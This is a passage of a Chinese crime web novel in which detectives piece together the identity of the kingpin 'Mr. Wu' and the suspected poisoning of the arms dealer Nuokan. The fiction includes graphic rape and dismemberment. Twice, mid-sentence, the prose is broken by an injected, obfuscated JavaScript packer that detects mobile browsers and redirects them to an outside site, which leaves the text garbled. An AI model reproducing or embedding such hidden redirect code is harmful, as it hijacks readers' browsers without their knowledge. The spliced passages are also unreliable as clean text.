给他草草收拾了一下,老谢终于能够接受询问了,不过年纪大了,受到刺激没那么容易恢复,老谢的精神肉眼可见的虚弱颓靡,说话的气息也弱了许多,全然不复刚进来时的气定神闲。 他作为“吴先生”多年的贴身代理人,几乎知道“吴先生”这几年间所有的事情。既然已经放弃抵抗,也就把能招的都招了。现在的老谢,只盼着尽快进监狱,在里面待到天荒地老,不要出来。在里面有命,外面的世界太凶残太可怕。 老谢很快说出了“吴先生”集团的诸多内情。 大约在五六年前,也是阴差阳错,当时已经快要破产的谢泽仁捡到一个虚脱的男人。那个男人的身体非常差,随时都会死过去的程度,但他又坚决拒绝就医。当时老谢就怀疑他身上有什么事儿。起初三个月,老谢本来自顾不暇,并没有多想帮助那人,只是不希望他死在自己眼前,到时候摘不清楚,就用了一点基础的消炎药、退烧药就这么把人命吊住了。之后也就是老谢吃什么,分那男人一份罢了,没什么特意的滋补养身。也是那男人命够硬,竟然扛过来了。 男人让他称呼他为“吴先生”,并表示老谢会得到救助了他的相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615120|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应回报。他先是让老谢给他一个银行账户,而后从一个合众国的账户里划了一大笔钱过来。老谢眼珠子差点没掉出来,他这辈子还没见过这么多钱。男人说,他可以挽救老谢的生意,但要求就是,从此以后老谢为他做事。对于一个贪得无厌又刚好穷途末路的混账而言,这算什么要求?这是直接把老鼠扔进白米缸里了好吗? 金钱开道,老谢的生意就开始风生水起,人前也开始学的个人五人六的样子来。表面上,老谢是成功商人,商界大鳄。实际上,他啥也不懂。整个SG集团都在“吴先生”的掌控之中,只是需要有人露面时,把他这个傀儡推出去掩人耳目。 整个集团最原始的启动资金,就是“吴先生”当初从合众国账户转过来的那笔钱。后来通过各种非法手段,基本都是刑法上最重的那一批勾当吧,集团资金急速扩充。 随着集团规模越来越大,“生意”也越来越大,老谢这个傀儡也逐渐会被指派去做一些监督组织管理、资金洗白一类的事情。所以谢泽仁确实有参与境外洗钱,并且有相当一部分账目是从他手底下过的。 至于那几个什么宠物运毒案、绑架刺脾案、水塘弃尸案、心脏投毒案……一直到刘艳虐杀案等等,都是由“吴先生”策划,那些变态的杀人手法都是“吴先生”亲自执行。老谢也奇怪这个“吴先生”为什么会有那么多奇奇怪怪的杀人手法,简直变态。这些案件的过程中,老谢更多的是充当事后监督清洁的角色。 比如朱大雷的女儿朱倩,被绑架后,被“吴先生”扔给手下们玩了很久,奄奄一息的时候被放下来,全身上下竟然只有两只被事先捆住吊起来的手是好的。“吴先生”当时嫌弃地“啧”了一声,让老谢把这两只手卸下来,说现在也只有这个能拿去当礼物送了。朱倩几乎也是活着被肢解成几大块的。她的两只手被齐腕取下,让老谢拿去送罗誉,罗誉扔回给他。最后所有的尸块被朱大雷领走安葬。朱大雷给女儿办完丧事直接病倒。朱大雷为什么会倒霉呢?因为“吴先生”认为他对桃源湾别墅绑架案的执行工作,“浪费了‘吴先生’的完美策划”,做事不尽心…… 跟随这些年,这样的事情发生了太多次,老谢深知“吴先生”的凶残和冷血。他本就是个懦弱胆小的性格,跟“吴先生”越久,他内心对“吴先生”的恐惧就越深。 而当问到罗誉,谢泽仁也是一头雾水。老谢也不知道“吴先生”究竟跟罗誉有什么样的关系,“吴先生”从没有说过和罗誉的纠葛。老谢只能猜测两人之间的事情,应该是在他救助“吴先生”之前,而且一定是血海深仇那种。此前几年,“吴先生”从未提起过这个人。直到大约半年多前,“吴先生”与联邦国一个人联系上后,开始变得更加疯癫张狂。在那之后不久,“吴先生”指使老谢在国内物色发展可以加以利用的人选,恰好马鹏飞在老谢这边用心了很久,老谢觉得不如也给点甜头,这便有了后面的事。 谢泽仁不愧是这几年间跟在“吴先生”身边最近的人。他的供词信息量巨大,已经不仅仅局限于当前的案件,和之前的几起悬案。更有价值的是他供述了较为清晰的“吴先生”集团的组织架构、运作方式等等非常“内部”的信息,这对后续警方办案、抓捕的策略制定都非常有价值。 同时,“吴先生”这个人,在警方的记录中,也逐渐清晰起来。随着他的记录越来越多,陈登突然提出一个问题:“吴先生”是不是真的姓吴? 在诸多的记录中,似乎所有的人都称呼他为“吴先生”,有仇的也会骂一句“姓吴的”,但和“老谢”这个称呼不同的是,老谢是真的姓谢,年纪大。而“吴先生”,始终没有出现过真名。即便是最接近他的老谢,也不知道他的真名,在认识之初,就“被要求”称呼其为“吴先生”。 这一点,不奇怪吗? 42.第 42 章 第四十二章名字和过往 警队食堂,“子子孙孙三小只”坐在角落的一张餐桌,边吃边聊。 当陈登提出这个问题时,大家第一反应是,那还能姓什么?但随后脑内一复盘,发现还真是,这说不定还真只是一个代号而已,只是太有欺骗性,让人下意识产生认知盲区。 接下来新的问题就是,如果这真的只是一个代号,那么这个人究竟是谁? 从警方当前掌握的资料来看,这个“吴先生”就仿佛是凭空出现的人物。 “最早跟他相关的人就是老谢,但在老谢的视角中,他也是一个来历不明的人。”李弛迷茫。刑侦工作中,确认嫌疑人的真实身份是重中之重啊!可他们忙活了半天,发现这人竟然连个名字都没人知道…… “不,最早跟他相关的人……”陈登垂眼,不想承认,但不得不承认事实,“是罗誉。” 一提到罗誉,大家还是会不约而同地静默一下。倒不是对罗誉怎样,这更多是源于对陈登的心疼。尤其是,大家明确地知道陈登现在的想法,这小子铁了心要亲手抓住罗誉,这段时间,他比以往都要拼,人也沉默了许多。 “老谢的供词里有一点很清楚,‘吴先生’从半年前起开始筹备,目的就是针对罗誉。从后续的事情发展来看,包括罗誉来大华都很有可能是‘吴先生’计划中的重要一步。”冯佳佳见陈登主动提起,也不扭捏,顺势也提供了自己的意见。 李弛挠头,也试着分析。“他针对罗誉的行动是在他与一名联邦国人联系上之后开展的,所以有没有可能,这一系列针对罗誉的斩首追杀,是联邦国中,有人买凶,‘吴先生’接受委托?” 冯佳佳给否掉了这种推测。“不太像。如果他是接受委托杀人,直接杀就完了,完全没必要搞那些在机场高速案子之前的案子。” “哦,对!” “结合‘吴先生’在之前各种案件中的表现来看,我和老谢的看法一致,他对罗誉是有着深刻的仇恨和执念的。他不想一下子就弄死罗誉,而是像猫抓老鼠一样,不断地玩弄老鼠,最后再杀掉。把罗誉从联邦引到大华,是为了削减罗誉身边的势力保护,花冠皇庭酒店入侵案、桃源湾别墅绑架案是玩弄的手段,通过将罗誉卷入案件,借警方的手把罗誉困在大华。”陈登说出自己的看法。 整理了一下思路,他继续说:“我之所以怀疑‘吴先生’这个称呼是个代号,是基于一个假设:‘吴先生’不是大华人。” 冯佳佳立刻领会。“你是说,他可能是联邦国人?” 陈登点点头,进一步解释自己的想法:“罗誉小时候的事情,你们都已经知道。他八岁时被人贩子带走,之后音讯全无。如今突然出现,身份却变成了联邦国的军火走私集团头目。不论这些年里他具体经历了什么,我们有理由推测,罗誉在联邦国生活过相当长的一段时间。而在联邦国,从一个毫无根基的孤家寡人,到成为军火走私集团头目,过程中一定有过非常频繁且激烈的争斗,结下仇家很正常。” 冯佳佳和李弛听了都觉得有理。 “联邦国的人,跑到咱们这儿来,搞起一个□□组织,然后回头勾结联邦国内的势力,再去找仇人报复……”冯佳佳很快总结出一个脉络。 “可是……”李弛还没懂,“我还是不明白你们为什么认为是联邦国,而不是东南亚别的国家?” 冯佳佳转过头来问:“你知道联邦国的人,取名的习俗吗?” “哈?”李弛摇摇头,他老家是渤海湾的,对东南亚诸国远没有冯佳佳这样的西南本地人了解。 “联邦国的人,是没有姓氏的,他们只有名字。”冯佳佳耐心给他解释,“那边的男人们,在称呼中,经常会在名字前面加上‘哥’、‘貌’这样的尊称。‘哥’通常是平辈年轻人之间的称呼,就是兄长的意思。‘貌’就是弟弟的意思。除了这些,他们还有个尊称,是对社会地位高的男人用的,一般就是表达叔叔或者先生之类的意思,这个尊称,就是‘吴’。” 李弛的眼睛瞪圆了。“所以如果联邦国人称呼一个男人是‘吴某某’,就是某某先生,或者某某叔叔?” “没错!‘吴’这个发音在我们这儿刚好是一个姓,所以是不是很有欺骗性?” “但……会不会只是个巧合啊?” “还有另一个侧面的佐证。”陈登说,“迄今为止,已经确认由‘吴先生’策划的那些杀人案件中,用的几乎都是仪式感极强的手法。其中,刘艳虐杀案和朱倩绑架杀人案,都极有可能是联邦国的诺坎杀妻案的模仿犯罪,从国际刑警组织发来的对比资料来看,杀刘艳手法更接近诺坎杀前妻的手法,而杀朱倩,先奸后杀,更像是诺坎杀后来那个情人的手法。以此推导,其他几件案子中的杀人手法,或许也会是有原型的。而最让我在意的就是,如果是一个八竿子打不着的人,为什么会这么了解诺坎前后相隔数年的两次杀人手法,并且那么执着地去学习和复现?” 陈登这一番解释,让对面两人都陷入沉思。 冯佳佳消化得更快一些,“所以‘吴先生’很可能和诺坎有着某种关系……国际刑警组织的资料里说,诺坎死于心脏病。‘吴先生’的相关案件中,也有一例疑似心脏病的死者!” “对,是一起投毒案。所以如果这起投毒案也是模仿犯罪,是不是说,诺坎的死也是一起谋杀?”陈登接话,他之前就在怀疑这一点。 “等等,等等!诺坎是‘吴先生’杀的?”李弛在推理方面,节奏总是要比另两人慢一些,他的长项在体能、格斗和枪械等方面。当下的讨论内容,他实在有些听迷糊了。 “不,诺坎是被别人杀的,‘吴先生’是在学习和复现那个人的杀人手法。”冯佳佳又耐心解释。 “夜总会后巷杀人案应该也是模仿犯罪。”陈登再次垂下眼,声音轻了一些。他还记得那天罗誉的那番推断。原本以为是发小聪明绝顶,如今想来,原型案件跟罗誉有关,他才会如此清楚那些关键节点。 冯佳佳眼神一闪,陈登想什么她明白,很多事情心知肚明就可以了,犯不着非得说出口。于是她继续将战友们的注意力拉到案件上。“咳!以‘吴先生’那个精神状态,其他案件很可能也都有前案,只是我们现在不知道。但在国内,如果以前有过这类凶残的案件,妥妥都已经在教材上了,不至于我们都没有听过。如果真有这些前案,那大概率是国外的案件,你们觉得呢?” “有道理!”李弛同意。 陈登也这么想。“所以我在想,科林斯太太那边一定还有很多东西可以挖。” “可是,这种要怎么去问科林斯太太呢?问有没有这类的前案?大海捞针,人家也不好查啊!”冯佳佳有些犯愁。 陈登顿了顿,还是决定说出自己的想法,或许不成熟,但总归现在也是私下讨论。“我想跟科林斯太太要一下诺坎那个儿子的资料。” 陈登的话,思维有些跳跃。李弛用筷子面无表情地扒拉了两下碗里的饭粒,无聊地把筷子放下了。这顿饭吃的,自己就是个差生,怎么还有脸吃饭呢…… 冯佳佳一眼就看穿了这二哈的小沮丧,当即虎了脸,用指节敲敲他的饭碗,沉声道:“好好吃饭!学什么林黛玉?还等你武松打虎呢!你学成个小娇花还怎么抓人?” 李弛被唬的一愣,身体比脑子快,再次抓起筷子扒饭。 冯佳佳转头又看向陈登。“你是觉得‘吴先生’有可能是诺坎的儿子?” “至少肯定有关系。儿子,或者儿子身边的人之类。老谢描述的‘吴先生’年纪不大,就应该不太会是诺坎自己用惯 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“看来诺坎在联邦国内,对儿子的信息保护得非常好。”陈登飞快地阅读全英文的资料。“他儿子在五岁多时,失去生母。十二岁那年曾被绑架,而后被送去了合众国留学。” “嚯!这么小就经历这种事。大佬的儿子也不好当啊!”李弛随口感叹。 “绑架他的是诺坎后来杀掉的那个情人和手下。”冯佳佳也跟着感叹,“难怪要把人大卸八块的,前妻出轨已经杀了,结果多年以后又被一个女人耍了,还绑架前妻生的独子。狗血!” “这不是狗血,这就是诺坎这老头子造孽太多了。” 陈登的关注点和他俩都不太一样。 “瑟杰被绑架多日后逃出获救?十二岁真的能凭一己之力逃出狼窝?”他又想到了罗誉,8岁被人贩子带走后,他一定也是一番挣扎,才会流落在联邦国,他是不是也一样,凭借着一己之力逃脱?晃晃脑袋,陈登把注意力又挪回来继续往下看。 “他被送去合众国留学,有学校信息,却没有任何同学、导师之类的信息……”冯佳佳皱起眉头,“这什么情况?国际刑警组织也查不到?不应该啊,本人的信息可能查不清,那些同学老师们又不是什么特殊人物。” “不单是身边同学老师的信息空缺,连作业、论文都没有……呵呵,镀金学渣。”李弛对这个倒是反应很快。他之前接触过一个案子,里面有个证人是个海外镀金的纨绔二代,这情况就很类似。他们出去说是留学,可基本上跟学习有关的事情,啥也不干。 “这么看来,诺坎就是找了个借口把他送出国。”冯佳佳做出判断,“也是,情人勾搭手下骨干,绑架独子,想要干掉他,这事情一定牵扯不止那一两个人。诺坎之后一定是着手清理门户。把儿子送出去远离是非,可以更好地保证儿子的安全。” “他不止是为了儿子的安全。”陈登指着后面一页资料,说:“他在合众国,为儿子甄选了一套独立的班底。这上面写着,诺坎会在合众国本地物色人才,扩充儿子身边的团队。他让儿子在远离他的地方,和完全为他组建的班底好好磨合。这是确保瑟杰身边的人不会受到诺坎那些元老们的影响和渗透的同时,也是在培养儿子的管理能力。” “诺坎这是立了太子了,已经开始为太子铺路。”冯佳佳总结。 “诺坎也算是老谋深算,他布局不可谓不深远,只是人算不如天算,最后太子还是没能登基。”陈登揉着下巴说。 “这么一说起来,我是真要佩服罗誉了!居然能干翻太子哎!”李弛没心没肺地赞叹了一句。冯佳佳偷偷瞄了一眼陈登,还好,陈登没什么异样的反应。 “叮”地一声响,又收到了一份邮件,同样来自科林斯太太。 43.第 43 章 “叮”地一声响,又收到了一份邮件,同样来自科林斯太太。 第四十三章诺坎之死 科林斯太太是有什么需要补充的吗? “亲爱的大华小伙伴们,我在整理瑟杰相关资料的过程中,也关注到了另一个人,或许这个人的信息也会对你们有用。” 所以说,有一位主动性极强,且严谨靠谱的战友,是多么幸福的一件事。 点开资料,一张熟悉的脸…… 史蒂文。 接下来的内容简直刷新“子子孙孙三小只”的三观,一看一个不吱声。 相较于诺坎、瑟杰那些碎片式的资料,史蒂文的档案内容连贯详实得多。因为,别看在大华没什么人知道他,在合众国,他却实实在在是个名人。 史蒂文,对,这是真名。 这是一个出生于合众国的军人世家的天之骄子,在很小的年纪,史蒂文就展现出了极其优越的军人天赋。他的家人希望他未来也能参军,延续家族的荣光,早早就让他熟悉了各种军事训练,他也一直做得很好。在他中学时期的一次假期旅行中,遭遇了一些危险。而他非常出色地保护了同行同学的安全,这让他一时间获得了全国媒体的关注和追捧,一鸣惊人。 年少成名的史蒂文,内心深处从未将“成为军人”作为人生目标和理想。他喜欢刺激和武力没错,但不喜欢军队那些没有个性的规矩。因此,他没有踏上职业军人的道路,反倒是成为合众国安保领域的专家。 他年纪轻轻,从业时间虽然很短,但名人效应为他的职业初期就带来了相当多的便利。富人们有时候更在乎为他们工作的人有什么样的噱头。有人愿意雇佣他,而他也在工作期间令雇主们很满意。在他短暂的安保职业生涯中,历任雇主都对他大加赞赏,零差评。简直不可思议!直到今天,在合众国的安保行业中,提起史蒂文依然是个传奇。 其实这样发展下去,也挺不错的。可不知怎么回事,史蒂文竟然接受了军火走私商诺坎的邀请,成了他儿子瑟杰的保镖,并且,似乎从此加入了这个走私团伙。这令他的家族蒙羞,从此断绝了来往。此后的数年间,他一直追随在瑟杰的身边。 “所以史蒂文是诺坎给瑟杰甄选的班底之一。”冯佳佳在笔记本上写写画画,“可瑟杰失败,他没有跟着瑟杰,而是转投了罗誉。罗誉还真是Louie啊……”冯佳佳也有女孩的柔软,对于“Louie就是罗誉”这一点,她始终保留了一点侥幸心理,万一不是呢?如今,心中最后一丝侥幸也被浇灭了。 李弛不免好奇:“这么说的话,他岂不是曾经叛主?这样的人,罗誉不会防备他吗?说起来,罗誉在什么时候和他们产生交集啊?要等到瑟杰回联邦国吗?” 三人继续往下翻资料。 史蒂文的资料竟然比瑟杰的丰富很多,有些甚至像是明星八卦。 说来有些好笑,如今科林斯太太之所以还能找到很多关于瑟杰的零碎资料,相当大一部分原因还是史蒂文在合众国的知名度。 毫无疑问,史蒂文这种人无论在哪里,都会受到瞩目,赢得好感,继而留下痕迹。他年轻英俊又有名,有不少人能认出他,不一定能像偷拍明星一样偷拍下影像资料,但也能在网上留下不少文字方面的分享记录。其中就会偶尔带上瑟杰的信息。 科林斯太太给过来的其中一份资料,是一页社交平台的讨论。 帖主发布偶遇史蒂文的经历,声称自己是xx学院的学生,今天是高一届学长们的毕业典礼。而她完全没有想到,明星保镖史蒂文先生竟然会来参加学长的毕业典礼。 她偷拍了一张不太清晰的照片:学院草坪上,三名年轻男子正在合照。照片是从左侧偷拍的,史蒂文在最前面,笑得阳光又迷人,另外两人的侧脸被他挡住了大半。但依然能够看到,一个亚裔男子穿着做工考究的成套西服,他一手揽着中间男子的肩膀,上身有些前倾,露出小半张脸,笑得没心没肺,站在右侧。中间的男子穿着学士服,戴着学士帽,他体格比史蒂文小一些,除了鼻子和嘴的轮廓线,脸部都被挡住。 李弛有些惊讶:“史蒂文作为瑟杰的保镖,去参加他的毕业典礼倒是很正常,就是没想到,瑟杰还是这所学校的毕业生啊!” 冯佳佳倒是反应过来:“不对!前面瑟杰的资料里显示,他读的不是这所学校啊!” 陈登盯着那张照片没作声。 “等一下!这个是大学啊!瑟杰的大学是没毕业的!”冯佳佳疯狂往前翻笔记,“他爹死的时候他还没毕业,就赶回联邦去了,然后就没回过合众国去读书,哪儿来的毕业典礼?” “所以那个毕业的人不是瑟杰?那还能是谁啊?史蒂文肯定是跟着瑟杰的啊!总不能是罗……”李弛突然顿住。 两人偷偷观察陈登。汗!难道是真的!两人同时翻回去看那张合照。 即便只是一线轮廓,陈登也在第一时间认出来,中间穿学士服的毕业生正是他认识的那个罗誉。 “这个帖子是哪年发的?”陈登的声音有些干涩。 “……八年前。”冯佳佳回答他。 “十八岁,名校毕业……”陈登点点头,有诺坎在背后提供物质条件,以罗誉的头脑,他能跳级也不意外。十八岁,他在国内刚上大学,罗誉在异国,大学毕业。原来在那时,他们的人生差距已经这么大了……他伸手指指照片上那个露出小半边脸的男人,“这就是瑟杰。他来参加罗誉的毕业典礼,史蒂文是陪他来的。” “可是瑟杰和罗誉不是有仇……”李弛越说越小声,他自己也意识到,仇怨也可能是后来的事情。 “八年前,也就是诺坎死的那一年。”陈登浅浅叹息,“这很可能是他们三个最后的快乐时光了。” 瑟杰在合众国留学,罗誉也在那里获得学位。资料中来看,至少八年前,他们的关系还很好。所以罗誉极有可能也是诺坎为瑟杰安排的班底之一。然而后来的现实就很有意思,诺坎死后,瑟杰没能上位,罗誉却成了最后赢家…… “在这之后,史蒂文似乎就很少在合众国出现了。”李弛把资料往后翻了翻。 “他应该也是诺坎快死的时候,跟着瑟杰去了联邦国,然后就留在联邦了。”陈登做出推测。 冯佳佳把笔记本翻到前面,突然开始咬手指。“上次诺坎的资料上说,诺坎心脏病发作,把儿子召回,儿子回来后第二天就死了……” 李弛也把自己笔记翻出来看,“啊!没错,老头儿坚持到了儿子回去,总算也是见到最后一面了。” 陈登听出了冯佳佳的意思,皱眉:“佳佳是想说,我们之前讨论过的可能性,诺坎的心脏病会不会是被人投毒。” “哦哦!”李弛终于接上了思路,“如果是被投毒,那是谁做的呢?” 陈登试着梳理一下逻辑:“假设真的是投毒,按理说,诺坎病发的时候,瑟杰、罗誉和史蒂文都在合众国,投毒的人肯定是诺坎身边的老人。诺坎中毒后引发心脏病症状,送医,瑟杰他们回国。第二天,毫无征兆,诺坎就死了,什么都没有来得及交代下来。” 冯佳佳蹙着眉说:“我就是觉得这时间太巧。我记得好像在资料里看到过一个点,我脑子里闪了一下,现在一时间又想不起来是哪里有问题……” 于是变成三个人一起咬手指,翻资料。 天光渐亮。 “……诺坎死的时候,不是住在ICU么?”李弛突然发问。 另外两人抬起头来看他。 “那个……”李弛对自己的短板终归不太自信,不过还是说出来,“我就问问,诺坎死的时候,医生护士只抢救了二十分钟会不会不太合理……” 冯佳佳眼睛一亮:“对!我想起来了!我就说哪里有问题!”这姑娘又哗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625140|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哗把资料翻到对应的一页,“医院的记录里,凌晨3:38分诺坎心脏骤停。3:51分值班医生才开始抢救,但除颤仪一直到4:06分才被第一次使用。然后到4:13医生就宣布死亡。” 这非常反常。任何一家医院,如果出现这样的情况,都是会被病患家属告到破产倒闭的。心脏病人在ICU里,竟然心跳停了13分钟,才开始被抢救,这就算救回来,脑部也多半已经出现严重的脑损伤。而抢救竟然没有第一时间使用除颤仪,用了以后7分钟就直接放弃了……这真不是在送病人走么? 陈登用力眨了眨干涩的眼睛,对另外两人说:“诺坎死亡的相关资料还有哪些?我们都找出来,凑一起盘一盘!当时在场都有谁,都干了些什么,说了什么话……我们都找出来!快!” 三人在学校的时候就认识,也常凑一起这么学习,如今默契依旧,说干就干。 没过多久,老诺坎死亡的前前后后,零零碎碎都摆了出来。如果没有把这些联系起来看,也就稀松平常,可一旦留心,桩桩件件似乎都透着诡异。 首先,诺坎病发后五日,瑟杰才带人回到联邦。 诺坎发病后,医院初步急救之后,就将人送入ICU中。按照一般的情况,这个流程普遍能在一天内完成。就算加上瑟杰回国路上花的时间要24小时,也不应该需要五天才回来。联邦这边是否及时通知了瑟杰?瑟杰收到消息,是否及时启程回国? 然后,是瑟杰回到联邦当天,守在ICU至午夜,留下保镖离开。 “他留下了谁?这个保镖是史蒂文吗?”陈登在看到这一条的第一反应就是这个。瑟杰当时最信任的保镖,恐怕只有长期跟在他身侧的史蒂文。在联邦的人他不熟悉不了解,会愿意将这种留守陪护的任务交给他不熟悉的人吗? 再然后,就是刚才冯佳佳和李弛都发现了的,医护抢救的异常表现。 瑟杰离开后没过多久,诺坎心脏骤停。这段时间恐怕刚够一个疲惫的人简单洗漱完,上床睡上一小会儿。 医生错过了抢救的黄金时间,而他们终于开始抢救,瑟杰就闻讯赶来,接着用上了除颤仪,最后宣布死亡。几乎整个的抢救过程都在瑟杰的注视之下,瑟杰等于是目睹父亲抢救失败,死在自己面前。 陈登发现自己竟然控制不住地往阴暗的方向去想,他有些惶恐。他试图说服自己,罗誉不是这样的人,可似乎效果不大。如果他不是,又怎么做得了军火走私的大头目?陈登对自己说,你醒一醒吧,誉仔不是那样的人,可他不是誉仔了,他是Louie。 对于罗誉,陈登总是天线竖得很高,其他人就不是这样了。诺坎死亡这一段里,资料中都没有提到罗誉,就连冯佳佳都没有联想到这里面还可能有罗誉什么事儿,她只意识到,这里面说不定真的有人做手脚。 陈登看了看冯佳佳,决定还是把自己的猜测说出来,反正这姑娘迟早也会想到这种可能性。“有一种可能,或许可以解释这一连串的问题。” 另两人目光灼灼看向他。 “……都是猜测……”陈登被这么看着也是瞬间压力山大。“咳!那个……都是我猜的……” “哎!知道!你快说。”李弛直来直去。 陈登没办法,这时候缩回来是肯定来不及了,只得硬着头皮说下去:“这个时候,”他翻回来指着资料上,瑟杰、罗誉、史蒂文三人的合照说,“瑟杰这三个人还亲如兄弟。罗誉和史蒂文是老诺坎安排给儿子的预留班底,一文一武,相得益彰。他们一起生活在合众国,远离联邦国内的是非,瑟杰有时间去学习团队的管理,去培养和下属的感情。甚至如果做得好,他们可以在合众国设立一个分部,扩展在北美的业务版图。” 两人点头赞同。 “但暗地里,罗誉和史蒂文已经私下勾结,背叛瑟杰。”陈登说出了让他内心刺痛的猜想。 44.第 44 章 勾结!背叛! 闻言,冯佳佳瞬间挺直了背,李弛的嘴惊讶得能塞鸡蛋。 “他们很可能是在合众国的团队中,最接近瑟杰的两人,勾结在一起后,最有可能做到的,就是控制隔绝了瑟杰和老诺坎之间的信息往来。” “所以诺坎生病,瑟杰五天后才回国!”李弛接话。 陈登点头。“没错。” “可是,为什么要拖这几天时间呢?”李弛问。 冯佳佳却已经懂了。“为了在联邦国的布置。” “联邦国什么布置?” “罗誉和史蒂文的背叛,应该在更早之前。他们二人勾结在一起后,你觉得会只是为了把诺坎父子隔开吗?”冯佳佳试着引导李弛。 “那肯定不会。肯定是要干掉老大夺权呗!” “可他们身在合众国,要怎么干掉在联邦国的老大诺坎?” “……拉拢策反联邦国的亲信?”李弛不太确定自己的想法是否可行,“可是在联邦国的不都是诺坎的人么,行得通么?” “如果真的都是诺坎的人,瑟杰也就不用被送出国了。”陈登解释道。 冯佳佳点点头,继续给李弛做说明。“他们两人控制了通讯渠道,控制了父子之间的信息往来,也借此和联邦国内,老诺坎的手下们暗通款曲。从结果来看,罗誉他们很可能在那时已经搞定了大部分老诺坎的元老和骨干。” “于是时机成熟。联邦国内的人给老诺坎持续多次下毒,制造心脏病假象。只是,发作时没能一下毒死老诺坎,将他送医,命被吊住了。因此需要在医院做一番打点和布置,确保医院的人接下来能够按照他们的意愿行事。”陈登接着补充。 “老子快病死了,儿子不可能不回来,于是过了几天,他们将消息转给瑟杰,瑟杰这才回国。回联邦后,他们就一直牵着瑟杰的鼻子走。那天午夜,瑟杰离开ICU,留下的保镖不管是不是史蒂文,罗誉他们都有操作的空间。再次下毒,于是老诺坎病情突然恶化。”冯佳佳的思路越来越清晰。 李弛倒吸一口凉气:“所以诺坎在ICU里心脏停跳那么久,要等到瑟杰快来了才开始抢救,就为了确保救不活他!” “呵!老头不是坚持到了儿子回国见到最后一面才死,”冯佳佳把手里的笔扔在摊开的笔记上,“老头是被留到罗誉顺利毕业。人家完成了一件人生大事,终于不想再留着他碍眼了。” 陈登再次看向那张偷拍的三人合照,讽刺,真讽刺。 在科林斯太太提供的资料中,瑟杰最后不知所踪,没有证据证明他已经死了,但这么多年也没有任何证据证明他还活着,国际刑警组织已经默认了他的死亡。从常识来判断,这人也应该是已经化成灰了。 可是如果瑟杰还活着,他在哪儿?在做什么?他是否知道自己父亲的死有这么多的疑点?如果他知道了,又会怎么想呢? 陈登垂下眼。照片里瑟杰咧开嘴大笑,快乐得毫无保留。曾经真心相待的兄弟,转脸却很可能是杀父仇人,抢走了本属于自己的一切,他是会被吓破胆,还是会找地方东山再起,伺机复仇呢? 陈登的手指在照片上轻轻点了两下,说:“‘吴先生’的投毒案,就是在模仿犯罪。” 冯佳佳虽然嘲讽了诺坎之死,但她清楚这些都仍然仅仅是纸面上的推演,听到陈登用肯定的语气这样说,不免微微忐忑:“你确定?” 陈登确定地点点头。“只不过,‘吴先生’恐怕也是像我们一样,仅凭推演,对诺坎之死的真相没有查到实质性的证据,不能确定很多细节,做得不太完美。比如,他虽然给死者持续性地多次给药,但投毒时间太短,剂量太大,造成发病过于突然,引发了死者家属的强烈质疑。而诺坎,早在死前好几年就有过心肺区不适的记录,他死于心脏病就不太引人怀疑。” 李弛想了想,开口问:“登仔,你是不是知道‘吴先生’是谁了?” 三人互相对视了一番,陈登说:“我们想的应该是一样的。” 李弛搓了把脸。 窗外已经天光大亮,不知不觉,又是新的一天了。 冯佳佳抿了抿嘴唇,问:“一会儿开会,我们要不要说这些……” 陈登没犹豫:“没什么不能说的。” “可是,毕竟全都只是假设和推演,会不会……不太谨慎……” 陈登知道冯佳佳在想什么。这件事涉及罗誉,此前陈登已经牵扯太深,一旦再出点什么错,不管大小,都可能对他的未来产生极大的负面影响。而如果只是将科林斯太太给的资料通报给队里,别人也早晚能够做出类似的推演。 就在两个聪明的小伙伴心生顾虑的时候,反倒是粗线条的李弛一拍桌子,大声说:“不太谨慎有什么关系,你们不合适就我来说,反正我从来都不谨慎!” 别说,你还真别说…… 最后,“子子孙孙三小只”一个通宵的功课,在会上被热烈讨论。方支队长目光如炬,上前来,问了李弛一句:“这真是你小子分析出来的?” 李弛一挺胸脯,理直气壮:“报告支队长,我这回确实不太谨慎,下次不敢了!” 方支队长又觉得牙疼,你小子说话内容跟你语气能不能搭上点边?没忍住这暴脾气的方支队长顺手就给了李弛脑袋上来了个毛栗子,砸得李弛抱着脑袋缩到桌子下面去了。 陈登缩了一下,没敢乱动,这时候要尽可能缩减存在感! 冯佳佳是个女孩儿,从小到大也是乖孩子好学生,对这种事情的危机感远没有男生来的敏锐。她看李弛被教训的怂样儿好笑,没忍住当即“噗”地一声笑喷出来。这下好了,方支队长的视线立刻扫了过来,锁定在她身上。冯佳佳还没来得及把嘴角收回来,被方支队长照着李弛那样也来了一下……冯佳佳这辈子第一次享受这么高规格的待遇,被头疼堵住了嗓子眼儿,立马不敢吱声。 方支队长连敲了两个脑瓜子,尤不解气,转过头来正好对上陈登。哼!问他们话是给他们个机会,小崽子们还敢给他玩心眼儿,这还得了!今天就让你们有福同享,有难同当,叫你们一个都不能少!方支队长撸起袖子,上来给陈登也来一记补刀!嗯,齐齐整整! 陈登抱着脑袋,眼里嗞出泪花,终究是没能逃出生天啊…… K市郊区,一处废旧仓库中。 夕阳的光从高处通风□□下,空气中的尘埃漂浮,在光柱中一一显形,随着空气细微的流动,在阳光下翻卷出各种轨迹。 罗誉随意地坐在一个货箱上,静静看着这些尘埃卷成梵高的《星月夜》。谁说梵高是疯的?这不挺写实么。要么是他也疯到了梵高的程度?他有些自嘲地想。 